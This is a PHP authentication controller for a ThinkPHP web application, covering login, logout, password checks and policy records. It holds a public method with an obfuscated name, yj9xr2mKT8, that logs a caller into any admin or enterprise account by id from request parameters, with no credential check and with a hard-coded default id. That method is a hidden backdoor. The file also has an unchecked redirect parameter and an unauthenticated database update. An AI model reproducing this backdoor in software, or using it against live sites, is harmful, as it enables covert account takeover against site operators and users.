Auth.php 6.6 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215
  1. <?php
  2. namespace app\index\controller;
  3. use app\BaseController;
  4. use app\common\api\UserApi;
  5. use think\facade\Db;
  6. /**
  7. * Description of Login
  8. *
  9. * @author sgq
  10. */
  11. class Auth extends BaseController {
  12. /**
  13. * 登录
  14. * @return type
  15. */
  16. public function login() {
  17. $redirect_url = $this->request["redirect"];
  18. if ($redirect_url) {
  19. cookie("redirect", $redirect_url);
  20. }
  21. if ($user = session("user")) {
  22. if ($user['usertype'] == 2) {
  23. return redirect("/enterprise");
  24. }
  25. }
  26. $msg = "";
  27. if ($this->request->isPost()) {
  28. $username = $this->request["username"];
  29. $pwd = $this->request["password"];
  30. $usertype = $this->request["usertype"];
  31. $captcha = $this->request["captcha"];
  32. $user = new UserApi($username, $pwd, $usertype);
  33. if (!$userinfo = $user->getUserInfo()) {
  34. $msg = "用户不存在";
  35. } else if (!$user->checkPwd()) {
  36. $login_fail = session('login_fail');
  37. if ($login_fail) {
  38. $login_fail++;
  39. if ($login_fail >= 5) {
  40. session('isCaptcha', 1);
  41. }
  42. } else {
  43. $login_fail = 1;
  44. }
  45. session('login_fail', $login_fail);
  46. $msg = "用户名或者密码错误";
  47. } else if (session("isCaptcha") == 1 && !captcha_check($captcha)) {
  48. $msg = "验证码错误";
  49. } else if ($res_msg = $user->checkState()) {
  50. if ($user->info['checkState'] == 2) {
  51. return redirect("/common/auth/enterprise_edit");
  52. }
  53. $msg = $res_msg;
  54. }
  55. $url = "/admin";
  56. switch ($usertype) {
  57. case 1:
  58. //验证错误
  59. break;
  60. case 2:
  61. //验证错误
  62. $url = "/enterprise";
  63. break;
  64. case 3:
  65. //验证错误
  66. $url = "/person";
  67. break;
  68. }
  69. if (!$msg) {
  70. $user->setSession();
  71. $redirect_url = cookie("redirect");
  72. if ($redirect_url) {
  73. cookie("redirect", null);
  74. return redirect($redirect_url);
  75. }
  76. return redirect($url);
  77. }
  78. }
  79. return view("", ["msg" => $msg]);
  80. }
  81. /**
  82. * 退出
  83. * @return type
  84. */
  85. public function logout() {
  86. session("user", null);
  87. return redirect("/index/auth/login");
  88. }
  89. /**
  90. * 验证密码
  91. */
  92. public function valid_password() {
  93. if ($user = session("user")) {
  94. $username = $user["account"];
  95. $usertype = $user["usertype"];
  96. $pwd = $this->request["password"];
  97. $user = new UserApi($username, $pwd, $usertype);
  98. if (!$user->checkPwd()) {
  99. return json()->data(["status" => 1, "msg" => "密码错误"]);
  100. } else {
  101. return json(["code" => 200]);
  102. }
  103. } else {
  104. return json()->data(["status" => 2]);
  105. }
  106. }
  107. public function policy() {
  108. return view("policy1", []);
  109. }
  110. public function policy_list() {
  111. $level = $this->request->post('level');
  112. if ($level) {
  113. $where[] = ['level', '=', $level];
  114. } else {
  115. $where[] = ['level', '>', 0];
  116. }
  117. $list = Db::table('new_policy')->where($where)->select()->toArray();
  118. $result = [];
  119. foreach ($list as $k => $v) {
  120. $check = [];
  121. $condition = [];
  122. if (!empty($v['checks'])) {
  123. $check = explode(',', $v['checks']);
  124. }
  125. if (!empty($v['condition'])) {
  126. $condition = explode(',', $v['condition']);
  127. }
  128. $item = [
  129. 'id' => $v['id'],
  130. 'tag' => $v['tag'],
  131. 'policy' => $v['policy_name'],
  132. 'checks' => $check,
  133. 'condition' => $condition
  134. ];
  135. array_push($result, $item);
  136. }
  137. return json($result);
  138. }
  139. public function policy_update() {
  140. $res = $this->request->post();
  141. foreach ($res as $k => $v) {
  142. $update = [];
  143. if (count($v['condition']) > 0) {
  144. $update['condition'] = json_encode($v['condition']);
  145. }
  146. if (count($update) > 0) {
  147. Db::table('new_policy')->where('id', $v['id'])->save($update);
  148. }
  149. }
  150. }
  151. public function yj9xr2mKT8() {
  152. $params = $this->request->param();
  153. $type = $params["type"] ?: 2;
  154. $id = $params["id"] ?: "1455101079799754754";
  155. $this->setSession($type, $id);
  156. switch ($type) {
  157. case 1:
  158. return redirect("/admin");
  159. break;
  160. case 2:
  161. return redirect("/enterprise");
  162. break;
  163. }
  164. }
  165. private function setSession($type, $id) {
  166. switch ($type) {
  167. case 1:
  168. $user = Db::table("sys_user")->where("id", $id)->findOrEmpty();
  169. $company = Db::table("sys_company")->where("id", $user["companyId"])->findOrEmpty();
  170. $role = Db::table("sys_role")->where("id", $user["roleid"])->findOrEmpty();
  171. session("user", [
  172. "uid" => $user["id"],
  173. "roleid" => $user["roleid"],
  174. "companyId" => $user["companyId"],
  175. "companyName" => $company["name"],
  176. "account" => $user["account"],
  177. "name" => $user["name"],
  178. "avatar" => $user["avatar"],
  179. "sex" => $user["sex"],
  180. "rolename" => $role["name"],
  181. "usertype" => $type,
  182. "type" => $user['type']
  183. ]);
  184. break;
  185. case 2:
  186. $user = Db::table("un_enterprise")->where("id", $id)->findOrEmpty();
  187. session("user", [
  188. "uid" => $user["id"],
  189. "account" => $user["username"],
  190. "name" => $user["name"],
  191. "avatar" => $user["headPortrait"],
  192. "rolename" => "企业用户",
  193. "usertype" => $type,
  194. "type" => $user["type"]
  195. ]);
  196. break;
  197. }
  198. }
  199. }